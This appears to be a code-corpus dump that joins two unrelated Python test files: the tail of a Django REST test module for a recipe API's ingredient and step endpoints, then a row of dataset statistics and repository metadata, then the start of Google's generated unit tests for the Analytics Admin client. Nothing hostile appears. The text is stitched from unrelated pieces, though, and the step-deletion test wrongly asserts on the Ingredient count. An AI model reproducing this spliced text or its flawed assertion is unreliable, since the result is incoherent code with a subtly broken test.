response = self.client.post(self.create_read_url, data=self.post,
content_type=self.content_type)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_ingredient_list_success_authenticated(self):
self.client.login(username=self.username, password=self.password)
response = self.client.get(self.create_read_url)
self.assertContains(response, self.text)
def test_ingredient_list_success_unauthenticated(self):
response = self.client.get(self.create_read_url)
self.assertContains(response, self.text)
class IngredientDetailViewTests(ViewTests):
"""
Test the ingredient-detail view.
"""
def setUp(self):
super(IngredientDetailViewTests, self).setUp()
# add ingredient :-)
recipe = Recipe.objects.get(name=self.recipe_name)
self.text = "Great ingredient"
(ingredient, tf) = Ingredient.objects.get_or_create(recipe=recipe,
text=self.text)
self.read_update_delete_url = reverse("ingredient-detail",
kwargs={"pk": ingredient.id})
self.update_text = "Another great ingredient"
self.put = json.dumps({
"template": {"data": [{"name": "text", "value": self.update_text}]}})
def test_ingredient_detail_success_authenticated(self):
self.client.login(username=self.username, password=self.password)
response = self.client.get(self.read_update_delete_url)
self.assertContains(response, self.text)
def test_ingredient_detail_success_unauthenticated(self):
response = self.client.get(self.read_update_delete_url)
self.assertContains(response, self.text)
def test_ingredient_update_success(self):
self.client.login(username=self.username, password=self.password)
response = self.client.put(self.read_update_delete_url, data=self.put,
content_type=self.content_type)
self.assertContains(response, self.update_text)
def test_ingredient_update_failure_unauthenticated(self):
response = self.client.put(self.read_update_delete_url, data=self.put,
content_type=self.content_type)
self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)
def test_ingredient_update_failure_access_denied(self):
self.client.login(username='another', password='another-pass')
response = self.client.put(self.read_update_delete_url, data=self.put,
content_type=self.content_type)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_ingredient_delete_success(self):
self.client.login(username=self.username, password=self.password)
response = self.client.delete(self.read_update_delete_url)
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
self.assertEqual(Ingredient.objects.count(), 0)
def test_ingredient_delete_failure_unauthenticated(self):
response = self.client.delete(self.read_update_delete_url)
self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)
def test_ingredient_delete_failure_access_denied(self):
self.client.login(username='another', password='another-pass')
response = self.client.delete(self.read_update_delete_url)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
class StepListViewTests(ViewTests):
"""
Test the step-list view.
"""
def setUp(self):
super(StepListViewTests, self).setUp()
recipe = Recipe.objects.get(name=self.recipe_name)
self.create_read_url = reverse("step-list", kwargs={"pk": recipe.id})
self.text = "Great step"
self.post = json.dumps({
"template": {"data": [{"name": "step_text", "value": self.text}]}})
# add step
Step.objects.get_or_create(recipe=recipe, step_text=self.text)
def test_step_create_success(self):
self.client.login(username=self.username, password=self.password)
response = self.client.post(self.create_read_url, data=self.post,
content_type=self.content_type)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
def test_step_create_failure_unauthenticated(self):
response = self.client.post(self.create_read_url, data=self.post,
content_type=self.content_type)
self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)
def test_step_create_failure_access_denied(self):
self.client.login(username='another', password='another-pass')
response = self.client.post(self.create_read_url, data=self.post,
content_type=self.content_type)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_step_list_success_authenticated(self):
self.client.login(username=self.username, password=self.password)
response = self.client.get(self.create_read_url)
self.assertContains(response, self.text)
def test_step_list_success_unauthenticated(self):
response = self.client.get(self.create_read_url)
self.assertContains(response, self.text)
class StepDetailViewTests(ViewTests):
"""
Test the step-detail view.
"""
def setUp(self):
super(StepDetailViewTests, self).setUp()
# add step
recipe = Recipe.objects.get(name=self.recipe_name)
self.text = "Great step"
(step, tf) = Step.objects.get_or_create(recipe=recipe, step_text=self.text)
self.read_update_delete_url = reverse("step-detail", kwargs={"pk": step.id})
self.update_text = "Another great step"
self.put = json.dumps({
"template": {"data": [{"name": "step_text", "value": self.update_text}]}})
def test_step_detail_success_authenticated(self):
self.client.login(username=self.username, password=self.password)
response = self.client.get(self.read_update_delete_url)
self.assertContains(response, self.text)
def test_step_detail_success_unauthenticated(self):
response = self.client.get(self.read_update_delete_url)
self.assertContains(response, self.text)
def test_step_update_success(self):
self.client.login(username=self.username, password=self.password)
response = self.client.put(self.read_update_delete_url, data=self.put,
content_type=self.content_type)
self.assertContains(response, self.update_text)
def test_step_update_failure_unauthenticated(self):
response = self.client.put(self.read_update_delete_url, data=self.put,
content_type=self.content_type)
self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)
def test_step_update_failure_access_denied(self):
self.client.login(username='another', password='another-pass')
response = self.client.put(self.read_update_delete_url, data=self.put,
content_type=self.content_type)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_step_delete_success(self):
self.client.login(username=self.username, password=self.password)
response = self.client.delete(self.read_update_delete_url)
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
self.assertEqual(Ingredient.objects.count(), 0)
def test_step_delete_failure_unauthenticated(self):
response = self.client.delete(self.read_update_delete_url)
self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)
def test_step_delete_failure_access_denied(self):
self.client.login(username='another', password='another-pass')
response = self.client.delete(self.read_update_delete_url)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
| 43.005618 | 96 | 0.68661 | 1,796 | 15,310 | 5.614699 | 0.058463 | 0.063467 | 0.0714 | 0.05355 | 0.863348 | 0.84044 | 0.807517 | 0.797402 | 0.780742 | 0.765073 | 0 | 0.006042 | 0.210843 | 15,310 | 355 | 97 | 43.126761 | 0.828588 | 0.022142 | 0 | 0.608163 | 0 | 0 | 0.046847 | 0.003702 | 0 | 0 | 0 | 0 | 0.183673 | 1 | 0.195918 | false | 0.110204 | 0.036735 | 0 | 0.265306 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
c739fa56cafe5c3ba23300537dde93b0a590781b | 863,917 | py | Python | tests/unit/gapic/admin_v1alpha/test_analytics_admin_service.py | renovate-bot/python-analytics-admin | c3310773def7a76fee4c061ff0881cd176507626 | [
"Apache-2.0"
] | null | null | null | tests/unit/gapic/admin_v1alpha/test_analytics_admin_service.py | renovate-bot/python-analytics-admin | c3310773def7a76fee4c061ff0881cd176507626 | [
"Apache-2.0"
] | null | null | null | tests/unit/gapic/admin_v1alpha/test_analytics_admin_service.py | renovate-bot/python-analytics-admin | c3310773def7a76fee4c061ff0881cd176507626 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import os
import mock
import packaging.version
import grpc
from grpc.experimental import aio
import math
import pytest
from proto.marshal.rules.dates import DurationRule, TimestampRule
from google.analytics.admin_v1alpha.services.analytics_admin_service import (
AnalyticsAdminServiceAsyncClient,
)
from google.analytics.admin_v1alpha.services.analytics_admin_service import (
AnalyticsAdminServiceClient,
)
from google.analytics.admin_v1alpha.services.analytics_admin_service import pagers
from google.analytics.admin_v1alpha.services.analytics_admin_service import transports
from google.analytics.admin_v1alpha.services.analytics_admin_service.transports.base import (
_GOOGLE_AUTH_VERSION,
)
from google.analytics.admin_v1alpha.types import analytics_admin
from google.analytics.admin_v1alpha.types import resources
from google.api_core import client_options
from google.api_core import exceptions as core_exceptions
from google.api_core import gapic_v1
from google.api_core import grpc_helpers
from google.api_core import grpc_helpers_async
from google.api_core import path_template
from google.auth import credentials as ga_credentials
from google.auth.exceptions import MutualTLSChannelError
from google.oauth2 import service_account
from google.protobuf import field_mask_pb2 # type: ignore
from google.protobuf import timestamp_pb2 # type: ignore
from google.protobuf import wrappers_pb2 # type: ignore
import google.auth
# TODO(busunkim): Once google-auth >= 1.25.0 is required transitively
# through google-api-core:
# - Delete the auth "less than" test cases
# - Delete these pytest markers (Make the "greater than or equal to" tests the default).
requires_google_auth_lt_1_25_0 = pytest.mark.skipif(
packaging.version.parse(_GOOGLE_AUTH_VERSION) >= packaging.version.parse("1.25.0"),
reason="This test requires google-auth < 1.25.0",
)
requires_google_auth_gte_1_25_0 = pytest.mark.skipif(
packaging.version.parse(_GOOGLE_AUTH_VERSION) < packaging.version.parse("1.25.0"),
reason="This test requires google-auth >= 1.25.0",
)
def client_cert_source_callback():
return b"cert bytes", b"key bytes"
# If default endpoint is localhost, then default mtls endpoint will be the same.
# This method modifies the default endpoint so the client can produce a different
# mtls endpoint for endpoint testing purposes.
def modify_default_endpoint(client):
return (
"foo.googleapis.com"
if ("localhost" in client.DEFAULT_ENDPOINT)
else client.DEFAULT_ENDPOINT
)
def test__get_default_mtls_endpoint():
api_endpoint = "example.googleapis.com"
api_mtls_endpoint = "example.mtls.googleapis.com"
sandbox_endpoint = "example.sandbox.googleapis.com"
sandbox_mtls_endpoint = "example.mtls.sandbox.googleapis.com"
non_googleapi = "api.example.com"
assert AnalyticsAdminServiceClient._get_default_mtls_endpoint(None) is None
assert (
AnalyticsAdminServiceClient._get_default_mtls_endpoint(api_endpoint)
== api_mtls_endpoint
)
assert (
AnalyticsAdminServiceClient._get_default_mtls_endpoint(api_mtls_endpoint)
== api_mtls_endpoint
)
assert (
AnalyticsAdminServiceClient._get_default_mtls_endpoint(sandbox_endpoint)
== sandbox_mtls_endpoint
)
assert (
AnalyticsAdminServiceClient._get_default_mtls_endpoint(sandbox_mtls_endpoint)
== sandbox_mtls_endpoint
)
assert (
AnalyticsAdminServiceClient._get_default_mtls_endpoint(non_googleapi)
== non_googleapi
)
@pytest.mark.parametrize(
"client_class", [AnalyticsAdminServiceClient, AnalyticsAdminServiceAsyncClient,]
)
def test_analytics_admin_service_client_from_service_account_info(client_class):
creds = ga_credentials.AnonymousCredentials()
with mock.patch.object(
service_account.Credentials, "from_service_account_info"
) as factory:
factory.return_value = creds
info = {"valid": True}
client = client_class.from_service_account_info(info)
assert client.transport._credentials == creds
assert isinstance(client, client_class)
assert client.transport._host == "analyticsadmin.googleapis.com:443"
@pytest.mark.parametrize(
"transport_class,transport_name",
[
(transports.AnalyticsAdminServiceGrpcTransport, "grpc"),
(transports.AnalyticsAdminServiceGrpcAsyncIOTransport, "grpc_asyncio"),
],
)
def test_analytics_admin_service_client_service_account_always_use_jwt(
transport_class, transport_name
):
with mock.patch.object(
service_account.Credentials, "with_always_use_jwt_access", create=True
) as use_jwt:
creds = service_account.Credentials(None, None, None)
transport = transport_class(credentials=creds, always_use_jwt_access=True)
use_jwt.assert_called_once_with(True)
with mock.patch.object(
service_account.Credentials, "with_always_use_jwt_access", create=True
) as use_jwt:
creds = service_account.Credentials(None, None, None)
transport = transport_class(credentials=creds, always_use_jwt_access=False)
use_jwt.assert_not_called()
@pytest.mark.parametrize(
"client_class", [AnalyticsAdminServiceClient, AnalyticsAdminServiceAsyncClient,]
)
def test_analytics_admin_service_client_from_service_account_file(client_class):
creds = ga_credentials.AnonymousCredentials()
with mock.patch.object(
service_account.Credentials, "from_service_account_file"
) as factory:
factory.return_value = creds
client = client_class.from_service_account_file("dummy/file/path.json")
assert client.transport._credentials == creds
assert isinstance(client, client_class)
client = client_class.from_service_account_json("dummy/file/path.json")
assert client.transport._credentials == creds
assert isinstance(client, client_class)
assert client.transport._host == "analyticsadmin.googleapis.com:443"
def test_analytics_admin_service_client_get_transport_class():
transport = AnalyticsAdminServiceClient.get_transport_class()
available_transports = [
transports.AnalyticsAdminServiceGrpcTransport,
]
assert transport in available_transports
transport = AnalyticsAdminServiceClient.get_transport_class("grpc")
assert transport == transports.AnalyticsAdminServiceGrpcTransport
@pytest.mark.parametrize(
"client_class,transport_class,transport_name",
[
(
AnalyticsAdminServiceClient,
transports.AnalyticsAdminServiceGrpcTransport,
"grpc",
),
(
AnalyticsAdminServiceAsyncClient,
transports.AnalyticsAdminServiceGrpcAsyncIOTransport,
"grpc_asyncio",
),
],
)
@mock.patch.object(
AnalyticsAdminServiceClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(AnalyticsAdminServiceClient),
)
@mock.patch.object(
AnalyticsAdminServiceAsyncClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(AnalyticsAdminServiceAsyncClient),
)
def test_analytics_admin_service_client_client_options(
client_class, transport_class, transport_name
):
# Check that if channel is provided we won't create a new one.
with mock.patch.object(AnalyticsAdminServiceClient, "get_transport_class") as gtc:
transport = transport_class(credentials=ga_credentials.AnonymousCredentials())
client = client_class(transport=transport)
gtc.assert_not_called()
# Check that if channel is provided via str we will create a new one.
with mock.patch.object(AnalyticsAdminServiceClient, "get_transport_class") as gtc:
client = client_class(transport=transport_name)
gtc.assert_called()
# Check the case api_endpoint is provided.
options = client_options.ClientOptions(api_endpoint="squid.clam.whelk")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host="squid.clam.whelk",
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS_ENDPOINT is
# "never".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "never"}):
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class()
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS_ENDPOINT is
# "always".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "always"}):
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class()
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_MTLS_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS_ENDPOINT has
# unsupported value.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "Unsupported"}):
with pytest.raises(MutualTLSChannelError):
client = client_class()
# Check the case GOOGLE_API_USE_CLIENT_CERTIFICATE has unsupported value.
with mock.patch.dict(
os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "Unsupported"}
):
with pytest.raises(ValueError):
client = client_class()
# Check the case quota_project_id is provided
options = client_options.ClientOptions(quota_project_id="octopus")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id="octopus",
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
@pytest.mark.parametrize(
"client_class,transport_class,transport_name,use_client_cert_env",
[
(
AnalyticsAdminServiceClient,
transports.AnalyticsAdminServiceGrpcTransport,
"grpc",
"true",
),
(
AnalyticsAdminServiceAsyncClient,
transports.AnalyticsAdminServiceGrpcAsyncIOTransport,
"grpc_asyncio",
"true",
),
(
AnalyticsAdminServiceClient,
transports.AnalyticsAdminServiceGrpcTransport,
"grpc",
"false",
),
(
AnalyticsAdminServiceAsyncClient,
transports.AnalyticsAdminServiceGrpcAsyncIOTransport,
"grpc_asyncio",
"false",
),
],
)
@mock.patch.object(
AnalyticsAdminServiceClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(AnalyticsAdminServiceClient),
)
@mock.patch.object(
AnalyticsAdminServiceAsyncClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(AnalyticsAdminServiceAsyncClient),
)
@mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "auto"})
def test_analytics_admin_service_client_mtls_env_auto(
client_class, transport_class, transport_name, use_client_cert_env
):
# This tests the endpoint autoswitch behavior. Endpoint is autoswitched to the default
# mtls endpoint, if GOOGLE_API_USE_CLIENT_CERTIFICATE is "true" and client cert exists.
# Check the case client_cert_source is provided. Whether client cert is used depends on
# GOOGLE_API_USE_CLIENT_CERTIFICATE value.
with mock.patch.dict(
os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": use_client_cert_env}
):
options = client_options.ClientOptions(
client_cert_source=client_cert_source_callback
)
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
if use_client_cert_env == "false":
expected_client_cert_source = None
expected_host = client.DEFAULT_ENDPOINT
else:
expected_client_cert_source = client_cert_source_callback
expected_host = client.DEFAULT_MTLS_ENDPOINT
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=expected_host,
scopes=None,
client_cert_source_for_mtls=expected_client_cert_source,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case ADC client cert is provided. Whether client cert is used depends on
# GOOGLE_API_USE_CLIENT_CERTIFICATE value.
with mock.patch.dict(
os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": use_client_cert_env}
):
with mock.patch.object(transport_class, "__init__") as patched:
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=True,
):
with mock.patch(
"google.auth.transport.mtls.default_client_cert_source",
return_value=client_cert_source_callback,
):
if use_client_cert_env == "false":
expected_host = client.DEFAULT_ENDPOINT
expected_client_cert_source = None
else:
expected_host = client.DEFAULT_MTLS_ENDPOINT
expected_client_cert_source = client_cert_source_callback
patched.return_value = None
client = client_class()
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=expected_host,
scopes=None,
client_cert_source_for_mtls=expected_client_cert_source,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case client_cert_source and ADC client cert are not provided.
with mock.patch.dict(
os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": use_client_cert_env}
):
with mock.patch.object(transport_class, "__init__") as patched:
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=False,
):
patched.return_value = None
client = client_class()
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
@pytest.mark.parametrize(
"client_class,transport_class,transport_name",
[
(
AnalyticsAdminServiceClient,
transports.AnalyticsAdminServiceGrpcTransport,
"grpc",
),
(
AnalyticsAdminServiceAsyncClient,
transports.AnalyticsAdminServiceGrpcAsyncIOTransport,
"grpc_asyncio",
),
],
)
def test_analytics_admin_service_client_client_options_scopes(
client_class, transport_class, transport_name
):
# Check the case scopes are provided.
options = client_options.ClientOptions(scopes=["1", "2"],)
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=["1", "2"],
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
@pytest.mark.parametrize(
"client_class,transport_class,transport_name",
[
(
AnalyticsAdminServiceClient,
transports.AnalyticsAdminServiceGrpcTransport,
"grpc",
),
(
AnalyticsAdminServiceAsyncClient,
transports.AnalyticsAdminServiceGrpcAsyncIOTransport,
"grpc_asyncio",
),
],
)
def test_analytics_admin_service_client_client_options_credentials_file(
client_class, transport_class, transport_name
):
# Check the case credentials file is provided.
options = client_options.ClientOptions(credentials_file="credentials.json")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
patched.assert_called_once_with(
credentials=None,
credentials_file="credentials.json",
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
def test_analytics_admin_service_client_client_options_from_dict():
with mock.patch(
"google.analytics.admin_v1alpha.services.analytics_admin_service.transports.AnalyticsAdminServiceGrpcTransport.__init__"
) as grpc_transport:
grpc_transport.return_value = None
client = AnalyticsAdminServiceClient(
client_options={"api_endpoint": "squid.clam.whelk"}
)
grpc_transport.assert_called_once_with(
credentials=None,
credentials_file=None,
host="squid.clam.whelk",
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
def test_get_account(
transport: str = "grpc", request_type=analytics_admin.GetAccountRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_account), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Account(
name="name_value",
display_name="display_name_value",
region_code="region_code_value",
deleted=True,
)
response = client.get_account(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetAccountRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Account)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.region_code == "region_code_value"
assert response.deleted is True
def test_get_account_from_dict():
test_get_account(request_type=dict)
def test_get_account_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_account), "__call__") as call:
client.get_account()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetAccountRequest()
@pytest.mark.asyncio
async def test_get_account_async(
transport: str = "grpc_asyncio", request_type=analytics_admin.GetAccountRequest
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_account), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Account(
name="name_value",
display_name="display_name_value",
region_code="region_code_value",
deleted=True,
)
)
response = await client.get_account(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetAccountRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Account)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.region_code == "region_code_value"
assert response.deleted is True
@pytest.mark.asyncio
async def test_get_account_async_from_dict():
await test_get_account_async(request_type=dict)
def test_get_account_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetAccountRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_account), "__call__") as call:
call.return_value = resources.Account()
client.get_account(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_account_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetAccountRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_account), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.Account())
await client.get_account(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_account_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_account), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Account()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_account(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_account_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_account(
analytics_admin.GetAccountRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_account_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_account), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Account()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.Account())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_account(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_account_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_account(
analytics_admin.GetAccountRequest(), name="name_value",
)
def test_list_accounts(
transport: str = "grpc", request_type=analytics_admin.ListAccountsRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_accounts), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListAccountsResponse(
next_page_token="next_page_token_value",
)
response = client.list_accounts(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListAccountsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListAccountsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_accounts_from_dict():
test_list_accounts(request_type=dict)
def test_list_accounts_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_accounts), "__call__") as call:
client.list_accounts()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListAccountsRequest()
@pytest.mark.asyncio
async def test_list_accounts_async(
transport: str = "grpc_asyncio", request_type=analytics_admin.ListAccountsRequest
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_accounts), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListAccountsResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_accounts(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListAccountsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListAccountsAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_accounts_async_from_dict():
await test_list_accounts_async(request_type=dict)
def test_list_accounts_pager():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_accounts), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListAccountsResponse(
accounts=[
resources.Account(),
resources.Account(),
resources.Account(),
],
next_page_token="abc",
),
analytics_admin.ListAccountsResponse(accounts=[], next_page_token="def",),
analytics_admin.ListAccountsResponse(
accounts=[resources.Account(),], next_page_token="ghi",
),
analytics_admin.ListAccountsResponse(
accounts=[resources.Account(), resources.Account(),],
),
RuntimeError,
)
metadata = ()
pager = client.list_accounts(request={})
assert pager._metadata == metadata
